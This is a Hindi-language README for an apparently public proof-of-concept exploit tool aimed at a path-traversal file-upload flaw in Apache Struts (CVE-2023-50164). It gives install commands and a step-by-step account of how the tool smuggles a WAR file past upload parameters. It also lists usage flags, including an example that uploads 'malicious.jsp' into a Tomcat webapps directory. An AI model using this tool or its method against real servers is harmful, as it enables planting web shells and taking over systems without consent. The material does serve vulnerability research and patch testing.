
Apache Struts ("CVE-2023-50164") में पाथ ट्रैवर्सल के लिए प्रूफ ऑफ कॉन्सेप्ट
स्थापना
इस टूल को स्थापित करने के लिए आपके पास Go संस्करण कम से कम 1.20 स्थापित और कॉन्फ़िगर होना चाहिए।
$ go install github.com/dwisiswant0/cve-2023-50164-poc@latest
वैकल्पिक रूप से, आप इसे DIY द्वारा संकलित कर सकते हैं: $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/ $ cd $_ $ go build .
यह कैसे काम करता है?
यह टूल एक्सप्लॉइट को निष्पादित करने के लिए कई चरणों के माध्यम से संचालित होता है।
उदाहरण के लिए, यदि आप /path/to/file-you-want-to-upload.txt फ़ाइल अपलोड करना चाहते हैं, तो टूल निम्नानुसार आगे बढ़ता है:
यह निर्दिष्ट फ़ाइल को एक WAR फ़ाइल में संपीड़ित करता है, OS-विशिष्ट अस्थायी निर्देशिका में file-you-want-to-upload.war उत्पन्न करता है। इस प्रकार, टूल मानता है कि सर्वलेट संदर्भ फ़ाइल पथ
/file-you-want-to-upload/file-you-want-to-upload.txt है।
यह जाँचता है कि सर्वलेट संदर्भ फ़ाइल पथ पहले से मौजूद है या नहीं। यदि ऐसा है, तो टूल तुरंत एक त्रुटि लौटाता है।
टूल फ़ाइल अपलोड पैरामीटरों में हेरफेर करके WAR फ़ाइल अपलोड करने का प्रयास करता है।
इसके बाद, यह सर्वलेट संदर्भ फ़ाइल पथ की उपलब्धता (स्टेटस कोड 200) की दोबारा जाँच करता है, जो सफल फ़ाइल अपलोड का संकेत देता है।
उपयोग
$ cve-2023-50164-poc -h
PoC for CVE-2023-50164
--
coded by @dwisiswant0
Usage:
cve-2023-50164-poc -u <URL> -f <FILE> -p <PATH>
Options:
-u, --url <URL> Specify the upload endpoint URL
-f, --file <FILE> Provide the payload file for uploading
-t, --traverse-seq <N> Generate traversal sequences N times (default: "0")
-p, --path <PATH> Specify the path to the accessible root directory
-w, -win, --windows Converts slash ("/") chars to Windows separator ("\")
Example:
cve-2023-50164-poc -u http://host/path/to/upload.action -f foo.txt -t 1 -p webapps
cve-2023-50164-poc -u http://host/upload/upload.action -f malicious.jsp -t 2 -p /opt/tomcat/webapps
नोट्स
jar बिन आपके सिस्टम के $PATH में मौजूद होना चाहिए।
लक्ष्य पथ एक सुलभ रूट पथ होना चाहिए, जैसे Jetty के लिए /var/lib/jetty/webapps या
Apache Tomcat के लिए /opt/tomcat/webapps।
डिफ़ॉल्ट ट्रैवर्सल अनुक्रम शून्य ("0") है, आप -p/--path फ्लैग मान के लिए ट्रैवर्स अनुक्रम मैन्युअल रूप से दर्ज कर सकते हैं, जैसे /../webapps या /../../opt/tomcat/webapps। प्रत्येक सर्वलेट के लिए
ट्रैवर्सल अनुक्रम अलग होंगे।
-w/-win/--windows फ्लैग का उपयोग विशेष रूप से तब किया जाता है जब सर्वलेट Windows सर्वर पर चलता है।
अस्वीकरण
आपसी सहमति के बिना लक्ष्यों पर हमला करने के लिए इस टूल का उपयोग करना अवैध है। उपयोगकर्ताओं को स्थानीय, राज्य और संघीय कानूनों का पालन करना चाहिए। डेवलपर ("dwisiswant0"/"Dwi Siswanto") टूल के दुरुपयोग से हुए किसी भी नुकसान के लिए ज़िम्मेदार नहीं हैं।
लाइसेंस
यह टूल WTFPL v2 (DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE) के अंतर्गत लाइसेंस प्राप्त है। COPYING देखें।